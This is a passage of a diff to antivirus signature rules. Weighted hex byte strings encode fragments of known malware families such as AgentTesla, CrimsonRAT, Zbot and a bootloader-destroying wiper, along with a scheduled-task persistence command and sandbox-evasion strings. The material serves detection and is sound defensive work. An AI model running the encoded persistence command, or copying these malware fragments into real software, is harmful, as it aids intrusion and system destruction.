64 6c 65 5c 6b 69 6c 64 65 73 6b 61 74 74 65 72 6e 65 01 00 0d 81 01 62 72 61 63 74 65 6f 6c 65 2e 6a 70 67 01 00 0e 81 01 41 66 68 6e 64 65 72 6e 65 73 2e 6a 70 67 00 00 78 cd 00 00 08 00 08 00 05 00 } //25956 - $a_4c_2 = {50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6b 6f 70 70 79 2e 42 21 64 68 61 00 02 00 11 01 5c 5c 2e 5c 56 42 6f 78 4d 69 6e 69 52 64 72 44 4e 02 00 22 01 53 4f 46 54 57 41 52 45 5c 56 } //8993 - $a_72_3 = {2c 20 49 6e 63 2e 5c 56 4d 77 61 72 65 20 54 6f 6f 6c 73 04 00 0a 01 63 6f 5f 73 79 73 5f 63 6f 5f 04 00 10 01 25 73 5c 6d 69 63 72 6f 2e 6c 6f 67 2e 7a 69 70 08 00 41 01 63 6d 64 20 2f 63 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 43 6c 65 61 6e 53 79 73 6c 6f 67 } //30541 - $a_6b_4 = {20 2f 74 72 20 22 72 75 6e 64 6c 6c 33 32 20 25 73 2c 73 22 00 00 78 cd 00 00 08 00 08 00 07 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 61 69 6e 21 64 68 61 00 02 00 11 01 53 65 6c 66 2d 52 65 67 69 73 74 65 72 3a 20 25 73 02 00 09 01 43 61 69 6e 20 76 32 2e 30 02 00 18 01 25 4d 41 49 4e 44 49 52 25 5c 41 62 65 6c 4b 69 6c 6c 65 } //24916 - $a_78_5 = {02 00 19 01 25 4d 41 49 4e 44 49 52 25 5c 44 72 76 5c 7a 70 61 63 6b 65 74 2e 76 78 64 02 00 12 01 55 73 65 72 20 52 69 67 68 74 73 3a 20 41 64 6d 69 6e 02 00 12 01 25 4d 41 49 4e 44 49 52 25 5c 43 61 69 6e 2e 65 78 65 02 00 20 01 25 4d 41 49 4e 44 49 52 25 5c 57 6f 72 64 6c 69 73 74 73 5c 57 6f 72 64 } //11890 - $a_74_6 = {74 78 74 00 00 78 cd 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 30 38 21 4d 54 42 00 01 00 0b 81 01 45 78 69 6c 65 4c 6f 61 64 65 72 01 00 09 81 01 59 35 74 46 76 55 38 45 59 01 00 25 81 01 24 64 36 30 30 32 33 35 62 2d 61 65 64 37 2d 34 34 30 38 2d 38 37 33 } //26988 + $a_6b_1 = {74 74 65 72 6e 65 5c 01 00 1c 81 01 5c 67 6c 79 63 65 72 6f 73 65 5c 55 6e 73 6f 6c 76 61 62 69 6c 69 74 79 2e 61 62 73 01 00 15 81 01 72 6f 6e 64 6c 65 5c 6b 69 6c 64 65 73 6b 61 74 74 65 72 6e 65 01 00 0d 81 01 62 72 61 63 74 65 6f 6c 65 2e 6a 70 67 01 00 0e 81 01 41 66 68 6e 64 65 72 6e 65 73 2e 6a 70 67 00 00 78 cd 00 00 08 00 08 00 07 00 } //25956 + $a_61_2 = {6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 61 69 6e 21 64 68 61 00 02 00 11 01 53 65 6c 66 2d 52 65 67 69 73 74 65 72 3a 20 25 73 02 00 09 01 43 61 69 6e 20 76 32 2e 30 02 00 18 01 25 4d 41 49 4e 44 49 52 25 5c 41 62 65 } //8993 + $a_6c_3 = {65 72 2e 65 78 65 02 00 19 01 25 4d 41 49 4e 44 49 52 25 5c 44 72 76 5c 7a 70 61 63 6b 65 74 2e 76 78 64 02 00 12 01 55 73 65 72 20 52 69 67 68 74 73 3a 20 41 64 6d 69 6e 02 00 12 01 25 4d 41 49 4e 44 49 52 25 5c 43 61 69 6e 2e 65 78 65 02 00 20 01 25 4d 41 49 4e 44 49 52 25 5c 57 6f 72 64 6c 69 73 74 73 5c 57 6f } //19308 + $a_69_4 = {74 2e 74 78 74 00 00 78 cd 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 30 38 21 4d 54 42 00 01 00 0b 81 01 45 78 69 6c 65 4c 6f 61 64 65 72 01 00 09 81 01 59 35 74 46 76 55 38 45 59 01 00 25 81 01 24 64 36 30 30 32 33 35 62 2d 61 65 64 37 } //25714 + $a_30_5 = {2d 38 37 33 64 2d 32 35 32 33 62 39 66 38 31 31 62 37 01 00 10 81 01 50 61 72 61 6d 65 74 65 72 42 75 69 6c 64 65 72 01 00 12 81 01 49 73 46 61 6d 69 6c 79 } //13357 + $a_73_6 = {65 6d 62 6c 79 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 07 81 01 54 6f 57 69 6e 33 32 00 00 78 cd 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 } //29263 condition: - ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*25956+(#a_4c_2 & 1)*8993+(#a_72_3 & 1)*30541+(#a_6b_4 & 1)*24916+(#a_78_5 & 1)*11890+(#a_74_6 & 1)*26988) >=7 + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*25956+(#a_61_2 & 1)*8993+(#a_6c_3 & 1)*19308+(#a_69_4 & 1)*25714+(#a_30_5 & 1)*13357+(#a_73_6 & 1)*29263) >=7 } -rule _InfrastructureShared_13972{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " - - strings : - $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6b 6f 70 70 79 2e 42 21 64 68 61 00 02 00 11 01 5c 5c 2e 5c 56 42 6f 78 4d 69 6e 69 52 64 72 44 4e 02 00 22 01 53 4f 46 54 57 41 52 45 5c 56 4d 77 61 72 65 2c 20 49 6e 63 2e 5c } //16675 - $a_61_1 = {65 20 54 6f 6f 6c 73 04 00 0a 01 63 6f 5f 73 79 73 5f 63 6f 5f 04 00 10 01 25 73 5c 6d 69 63 72 6f 2e 6c 6f 67 2e 7a 69 70 08 00 41 01 63 6d 64 20 2f 63 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 43 6c 65 61 6e 53 79 73 6c 6f 67 54 61 73 6b 22 20 2f 74 72 20 22 72 75 6e 64 6c 6c 33 32 20 25 73 2c 73 22 00 00 78 cd 00 00 08 00 08 } //19798 - $a_6b_3 = {6f 6f 6c 3a 57 69 6e 33 32 2f 43 61 69 6e 21 64 68 61 00 02 00 11 01 53 65 6c 66 2d 52 65 67 69 73 74 65 72 3a 20 25 73 02 00 09 01 43 61 69 6e 20 76 32 2e 30 02 00 18 01 25 4d 41 49 4e 44 49 52 25 5c 41 62 65 6c 4b 69 6c 6c 65 72 2e 65 78 65 02 00 19 01 25 4d 41 49 4e 44 49 52 25 5c 44 72 76 5c } //24904 - $a_63_4 = {65 74 2e 76 78 64 02 00 12 01 55 73 65 72 20 52 69 67 68 74 73 3a 20 41 64 6d 69 6e 02 00 12 01 25 4d 41 49 4e 44 49 52 25 5c 43 61 69 6e 2e 65 78 65 02 00 20 01 25 4d 41 49 4e 44 49 52 25 5c 57 6f 72 64 6c 69 73 74 73 5c 57 6f 72 64 6c 69 73 74 2e 74 78 74 00 00 78 cd 00 00 08 00 08 00 08 } //28794 - condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*19798+(#a_6b_3 & 1)*24904+(#a_63_4 & 1)*28794) >=8 - -} -rule _InfrastructureShared_13973{ +rule _InfrastructureShared_14893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -158943,23 +169594,40 @@ rule _InfrastructureShared_13973{ ((#a_63_0 & 1)*18467+(#a_7a_1 & 1)*30322+(#a_48_4 & 1)*8448+(#a_01_6 & 1)*2816) >=8 } -rule _InfrastructureShared_13974{ +rule _InfrastructureShared_14894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 30 38 21 4d 54 42 00 01 00 0b 81 01 45 78 69 6c 65 4c 6f 61 64 65 72 01 00 09 81 01 59 35 74 46 76 55 38 45 59 01 00 25 81 01 24 64 36 30 30 32 33 35 62 2d 61 65 } //18467 $a_34_1 = {30 38 2d 38 37 33 64 2d 32 35 32 33 62 39 66 38 31 31 62 37 01 00 10 81 01 50 61 72 61 6d 65 74 65 72 42 75 69 6c 64 65 72 01 00 12 81 } //14180 - $a_46_2 = {6d 69 6c 79 4f 72 41 73 73 65 6d 62 6c 79 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 07 81 01 54 6f 57 69 6e 33 32 00 00 78 cd 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 6a 65 63 74 2e 52 52 21 4d 54 42 00 01 00 10 01 54 54 54 54 54 54 54 54 72 65 77 54 69 6d 65 } //18689 - $a_54_4 = {54 54 54 54 72 65 77 01 00 15 01 44 6f 77 6e 73 61 6d 70 6c 69 6e 67 20 6f 70 74 69 6d 69 73 65 01 00 10 01 44 6f 77 6e 73 61 6d 70 6c 69 6e 67 54 65 73 74 01 00 0f 01 55 6e 72 65 61 6c 69 7a 65 4f 62 6a 65 63 74 01 00 0f 01 43 61 6c 6c 57 69 6e 64 6f } //21505 - $a_6f_5 = {41 01 00 0e 01 43 61 6c 6c 4e 65 78 74 48 6f 6f 6b 45 78 01 00 1a 01 54 54 54 54 54 54 54 54 72 65 77 54 69 6d 65 72 09 54 4d 61 69 6e 46 6f 72 6d 00 00 78 cd 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 69 6d 73 6f 6e 52 41 54 2e 4e 45 41 41 21 4d 54 42 00 02 00 25 01 0d 09 07 6f 3a 00 00 0a 17 73 3b } //20599 - $a_13_6 = {11 04 06 16 06 8e 69 6f 3c 00 } //0 - $a_04_7 = {6f 3d 00 00 0a de 0c 02 00 1c 01 31 00 35 00 34 00 } //2560 + $a_46_2 = {6d 69 6c 79 4f 72 41 73 73 65 6d 62 6c 79 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 07 81 01 54 6f 57 69 6e 33 32 00 00 78 cd 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 49 21 4d 54 42 00 01 00 10 81 01 44 65 6d 69 6f 66 66 69 } //18689 + $a_6c_3 = {74 78 74 01 00 10 81 01 45 78 63 75 73 61 62 69 6c 69 74 79 2e 6a 70 67 01 00 0d 81 01 62 79 72 61 61 64 65 6e 65 2e 69 6e 69 01 00 11 81 01 63 6f 6e 74 65 6e 74 65 64 6e 65 73 73 2e 69 6e 69 01 00 13 81 01 73 74 72 61 74 6f 73 70 68 65 72 69 63 61 6c 2e 74 61 6e 01 00 0d 81 01 79 64 6d 79 } //26979 + $a_73_4 = {2e 74 78 74 01 00 0d 81 01 7a 79 67 6f 74 65 6e 65 73 2e 72 65 61 01 00 0d 81 01 5c 6e 64 69 67 65 72 65 73 2e 69 6e 69 00 00 78 cd 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 6a 65 63 74 2e 52 52 21 4d 54 42 00 01 00 10 01 54 54 54 54 54 54 54 54 72 65 77 54 69 6d 65 72 01 00 0b 01 54 } //25959 + $a_54_5 = {54 54 72 65 77 01 00 15 01 44 6f 77 6e 73 61 6d 70 6c 69 6e 67 20 6f 70 74 69 6d 69 73 65 01 00 10 01 44 6f 77 6e 73 61 6d 70 6c 69 6e 67 54 65 73 74 01 00 0f 01 55 6e 72 65 61 6c 69 7a 65 4f 62 6a 65 63 74 01 00 0f 01 43 61 6c 6c 57 69 6e 64 6f 77 50 } //21588 + $a_41_6 = {00 0e 01 43 61 6c 6c 4e 65 78 74 48 6f 6f 6b 45 78 01 00 1a 01 54 54 54 54 54 54 54 54 72 65 77 54 69 6d 65 72 09 54 4d 61 69 6e 46 6f 72 6d 00 00 78 cd 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 69 6d 73 6f 6e 52 41 54 2e 4e 45 41 41 21 4d 54 42 00 02 00 } //28530 + $a_09_7 = {07 6f 3a 00 00 0a 17 73 3b 00 00 0a 13 } //293 condition: - ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*14180+(#a_46_2 & 1)*18689+(#a_54_4 & 1)*21505+(#a_6f_5 & 1)*20599+(#a_13_6 & 1)*0+(#a_04_7 & 1)*2560) >=8 + ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*14180+(#a_46_2 & 1)*18689+(#a_6c_3 & 1)*26979+(#a_73_4 & 1)*25959+(#a_54_5 & 1)*21588+(#a_41_6 & 1)*28530+(#a_09_7 & 1)*293) >=8 } -rule _InfrastructureShared_13975{ +rule _InfrastructureShared_14895{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 49 21 4d 54 42 00 01 00 10 81 01 44 65 6d 69 6f 66 66 69 63 69 61 6c 2e 74 78 74 01 00 10 81 01 45 78 63 75 73 61 62 69 6c 69 74 79 2e 6a 70 67 01 00 0d 81 01 62 79 72 61 61 } //18467 + $a_65_1 = {69 6e 69 01 00 11 81 01 63 6f 6e 74 65 6e 74 65 64 6e 65 73 73 2e 69 6e 69 01 00 13 81 01 73 74 72 61 74 6f 73 70 68 65 72 69 63 61 6c 2e 74 61 6e 01 00 0d 81 01 79 64 6d 79 67 65 6c 73 65 2e 74 78 74 01 00 0d 81 01 7a 79 67 6f 74 65 6e 65 73 2e 72 65 61 01 00 0d 81 01 5c 6e 64 69 67 65 72 65 73 2e 69 6e 69 00 00 78 cd 00 00 08 } //25956 + $a_48_3 = {54 52 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 6a 65 63 74 2e 52 52 21 4d 54 42 00 01 00 10 01 54 54 54 54 } //8448 + $a_54_4 = {65 77 54 69 6d 65 72 01 00 0b 01 54 54 54 54 54 54 54 54 72 65 77 01 00 15 01 44 6f 77 6e 73 61 6d 70 6c 69 6e 67 20 6f 70 74 69 6d 69 73 65 01 00 10 01 44 6f 77 6e 73 61 6d 70 6c 69 6e 67 54 65 73 74 01 00 0f 01 55 6e 72 65 61 6c 69 7a 65 4f 62 6a 65 } //21588 + $a_00_5 = {0f } //29795 + $a_6c_6 = {57 69 6e 64 6f 77 50 72 6f 63 41 01 00 0e 01 43 61 6c 6c 4e 65 78 74 48 6f 6f 6b 45 78 01 00 1a 01 54 54 54 54 54 54 54 54 72 65 77 54 69 6d 65 72 09 54 4d 61 69 6e 46 6f 72 6d 00 00 78 cd 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 69 6d 73 6f 6e 52 } //17153 + $a_4e_7 = {41 41 21 4d 54 42 00 02 00 25 01 0d 09 07 6f 3a 00 00 0a 17 73 3b 00 00 0a 13 04 11 04 06 16 06 8e 69 6f 3c 00 00 0a 11 04 6f 3d 00 00 0a } //21569 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25956+(#a_48_3 & 1)*8448+(#a_54_4 & 1)*21588+(#a_00_5 & 1)*29795+(#a_6c_6 & 1)*17153+(#a_4e_7 & 1)*21569) >=8 + +} +rule _InfrastructureShared_14896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -158975,7 +169643,7 @@ rule _InfrastructureShared_13975{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25971+(#a_77_2 & 1)*17409+(#a_46_3 & 1)*16675+(#a_00_5 & 1)*52+(#a_00_6 & 1)*101+(#a_00_7 & 1)*47) >=8 } -rule _InfrastructureShared_13976{ +rule _InfrastructureShared_14897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -158988,7 +169656,7 @@ rule _InfrastructureShared_13976{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*52+(#a_00_3 & 1)*101+(#a_00_4 & 1)*47) >=10 } -rule _InfrastructureShared_13977{ +rule _InfrastructureShared_14898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -159002,7 +169670,7 @@ rule _InfrastructureShared_13977{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*4352+(#a_6f_2 & 1)*29552+(#a_00_6 & 1)*10+(#a_61_7 & 1)*28530) >=10 } -rule _InfrastructureShared_13978{ +rule _InfrastructureShared_14899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -159019,7 +169687,7 @@ rule _InfrastructureShared_13978{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*24408+(#a_35_2 & 1)*22595+(#a_47_3 & 1)*28261+(#a_00_6 & 1)*101+(#a_4c_7 & 1)*8993+(#a_ff_8 & 1)*595+(#a_01_9 & 1)*10328) >=10 } -rule _InfrastructureShared_13979{ +rule _InfrastructureShared_14900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -159031,7 +169699,7 @@ rule _InfrastructureShared_13979{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_cd_2 & 1)*0) >=11 } -rule _InfrastructureShared_13980{ +rule _InfrastructureShared_14901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -159043,7 +169711,7 @@ rule _InfrastructureShared_13980{ ((#a_46_0 & 1)*16675+(#a_be_1 & 1)*17408+(#a_01_2 & 1)*15744) >=11 } -rule _InfrastructureShared_13981{ +rule _InfrastructureShared_14902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -159058,7 +169726,7 @@ rule _InfrastructureShared_13981{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*22616+(#a_00_2 & 1)*1+(#a_cd_3 & 1)*0+(#a_74_4 & 1)*18689+(#a_6e_5 & 1)*26433) >=15 } -rule _InfrastructureShared_13982{ +rule _InfrastructureShared_14903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 09 00 21 " @@ -159075,7 +169743,7 @@ rule _InfrastructureShared_13982{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*18689+(#a_48_3 & 1)*8448+(#a_02_4 & 1)*10+(#a_80_5 & 1)*2+(#a_80_6 & 1)*2+(#a_80_7 & 1)*2+(#a_80_8 & 1)*2) >=16 } -rule _InfrastructureShared_13983{ +rule _InfrastructureShared_14904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -159084,40 +169752,64 @@ rule _InfrastructureShared_13983{ $a_13_1 = {11 07 11 06 31 cd 06 17 d6 0a 11 04 17 d6 13 04 11 04 09 31 a6 02 08 28 90 01 04 26 2a 90 00 02 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 02 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 07 80 01 47 65 74 54 79 70 65 00 00 78 cd 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 51 21 4d 54 42 00 0a 00 4b 02 11 05 16 9a 28 90 01 04 10 01 74 90 01 04 0b 1f 0b 0c 07 6f 90 01 04 08 9a 0d 09 14 72 90 01 03 70 17 8d 90 01 04 25 16 72 90 01 03 70 a2 14 14 14 28 90 01 04 28 90 01 } //5895 $a_02_2 = {11 04 74 90 } //4868 $a_90_3 = {04 00 06 2a 90 00 02 00 14 80 01 42 75 69 6c 64 65 72 49 6e 73 74 61 6e 74 69 61 74 69 6f 6e 02 00 0d 80 01 49 53 65 63 } //1025 - $a_6e_4 = {6e 74 72 79 02 00 08 80 01 47 65 74 50 69 78 65 6c 02 00 12 80 01 52 65 61 64 4f 6e 6c 79 44 69 63 74 69 6f 6e 61 72 79 00 00 78 cd 00 00 28 00 28 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 52 75 6e 6e 79 4e 6f 73 65 2e 41 21 64 68 61 00 0a 00 1a 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 72 6f 67 72 61 6d } //26996 + $a_6e_4 = {6e 74 72 79 02 00 08 80 01 47 65 74 50 69 78 65 6c 02 00 12 80 01 52 65 61 64 4f 6e 6c 79 44 69 63 74 69 6f 6e 61 72 79 00 00 78 cd 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 65 6c 53 68 61 64 2e 4d 52 21 4d 54 42 00 05 00 21 03 44 0f b6 77 03 83 e0 90 01 01 c1 e0 12 c1 e1 90 01 01 41 83 e6 } //26996 condition: ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5895+(#a_02_2 & 1)*4868+(#a_90_3 & 1)*1025+(#a_6e_4 & 1)*26996) >=18 } -rule _InfrastructureShared_13984{ +rule _InfrastructureShared_14905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 51 21 4d 54 42 00 0a 00 4b 02 11 05 16 9a 28 90 01 04 10 01 74 90 01 04 0b 1f 0b 0c 07 6f 90 01 04 08 9a 0d 09 14 72 90 01 03 70 17 8d 90 01 04 25 16 72 90 01 03 70 a2 } //18467 $a_28_1 = {01 04 28 90 01 04 13 04 02 11 04 74 90 01 04 28 90 01 04 00 } //5140 - $a_00_2 = {02 00 14 80 01 42 75 69 6c 64 65 72 49 6e 73 74 61 6e 74 69 61 74 69 6f 6e 02 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 02 00 08 80 01 47 65 74 50 69 78 65 6c 02 00 12 80 01 52 65 61 64 4f 6e 6c 79 44 69 63 74 69 6f 6e 61 72 79 00 00 78 cd 00 00 28 00 28 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 52 75 6e 6e 79 4e 6f 73 65 2e 41 21 64 68 61 00 0a 00 1a 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 } //10758 - $a_72_3 = {6d 2b 3c 4d 61 69 6e 3e 0a 00 1f 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 72 6f 67 72 61 6d 2b 3c 53 65 6e 64 41 73 79 6e 63 3e 0a 00 23 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 72 6f 67 72 61 6d 2b 3c 50 61 72 73 65 44 6f 63 78 46 69 6c 65 3e 0a 00 22 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 72 6f 67 72 } //28530 - $a_3c_4 = {61 72 73 65 44 6f 63 46 69 6c 65 3e 0a 00 0f 01 44 53 4b 20 53 6e 69 66 66 65 72 2e 70 64 62 00 00 78 ce 00 00 01 00 01 00 01 00 } //28001 + $a_00_2 = {02 00 14 80 01 42 75 69 6c 64 65 72 49 6e 73 74 61 6e 74 69 61 74 69 6f 6e 02 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 02 00 08 80 01 47 65 74 50 69 78 65 6c 02 00 12 80 01 52 65 61 64 4f 6e 6c 79 44 69 63 74 69 6f 6e 61 72 79 00 00 78 cd 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 65 6c 53 68 61 64 2e 4d 52 21 4d 54 42 00 05 00 21 03 44 0f b6 77 03 83 e0 90 01 01 c1 e0 12 c1 e1 } //10758 + $a_41_3 = {e6 } //400 + $a_ce_4 = {09 c6 41 81 fe 90 00 0f 00 } //16703 condition: - ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*5140+(#a_00_2 & 1)*10758+(#a_72_3 & 1)*28530+(#a_3c_4 & 1)*28001) >=18 + ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*5140+(#a_00_2 & 1)*10758+(#a_41_3 & 1)*400+(#a_ce_4 & 1)*16703) >=18 } -rule _InfrastructureShared_13985{ +rule _InfrastructureShared_14906{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 65 6c 53 68 61 64 2e 4d 52 21 4d 54 42 00 05 00 21 03 44 0f b6 77 03 83 e0 90 01 01 c1 e0 12 c1 e1 90 01 01 41 83 e6 3f 41 09 ce 41 09 c6 41 81 fe 90 00 0f 00 42 01 } //21539 + $a_72_1 = {69 6e 67 20 62 6f 6f 74 6c 6f 61 64 65 72 20 64 65 73 74 72 75 63 74 69 6f 6e 20 53 74 61 72 74 69 6e 67 20 62 6f 6f 74 6c 6f 61 64 65 72 20 64 65 73 74 72 75 63 74 69 6f 6e 2e 2e 2e 0a 00 34 01 54 68 69 73 20 77 69 6c 6c 20 6d 61 6b 65 20 79 6f 75 72 20 73 79 73 74 65 6d 20 63 6f 6d 70 6c } //29779 + $a_6c_2 = {20 75 6e 72 65 63 6f 76 65 72 61 62 6c 65 21 00 00 78 cd 00 00 28 00 28 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 52 75 6e 6e 79 4e 6f 73 65 2e 41 21 64 68 61 00 0a 00 1a 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 72 6f 67 72 61 6d 2b 3c 4d 61 69 6e 3e 0a 00 1f 01 44 53 4b 5f } //29797 + condition: + ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*29779+(#a_6c_2 & 1)*29797) >=30 + +} +rule _InfrastructureShared_14907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 05 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 52 75 6e 6e 79 4e 6f 73 65 2e 41 21 64 68 61 00 0a 00 1a 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 72 6f 67 72 61 6d 2b 3c 4d 61 69 6e 3e 0a 00 1f 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e } //16675 $a_67_1 = {61 6d 2b 3c 53 65 6e 64 41 73 79 6e 63 3e 0a 00 23 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 72 6f 67 72 61 6d 2b 3c 50 61 72 73 65 44 6f 63 78 46 69 6c 65 3e 0a 00 22 01 44 53 4b 5f 53 6e 69 66 66 65 72 2e 50 72 6f 67 72 61 6d 2b 3c 50 61 72 73 65 44 6f 63 46 69 6c 65 3e 0a 00 0f 01 44 53 4b 20 53 6e 69 66 66 65 72 2e 70 64 62 00 } //29264 - $a_00_2 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 31 38 21 4d 54 42 00 01 00 9f 02 8b 45 0c 8b f3 2b c3 89 7d 0c 89 45 90 01 01 a1 90 01 04 3d 90 01 04 1b c9 33 d2 f7 d9 3b c8 0f 94 c2 33 c0 81 fa 90 01 04 8b 15 90 01 04 0f 95 c0 66 01 05 90 01 04 33 c9 83 fa 90 01 01 0f 9e c1 f7 c1 90 01 04 74 90 01 01 0f be 0d 90 01 04 b8 90 01 04 81 c1 90 01 04 99 f7 f9 33 c9 3d 90 01 04 a1 90 01 04 0f 94 c1 81 c1 90 01 04 33 d2 f7 f1 21 55 90 01 01 8b 55 90 1b 00 b9 90 01 04 8a 04 32 33 d2 88 06 8b 45 90 01 01 f7 f1 8b 45 0c 46 48 89 45 0c 89 55 90 1b 12 0f 85 90 00 00 } //30720 - $a_00_3 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 72 31 37 5f 53 65 6e 64 50 4b 54 72 69 67 67 65 00 01 00 84 03 2d 00 2d 00 2d 00 2d 00 3d 00 3d 00 3d 00 3d 00 2a 00 2a 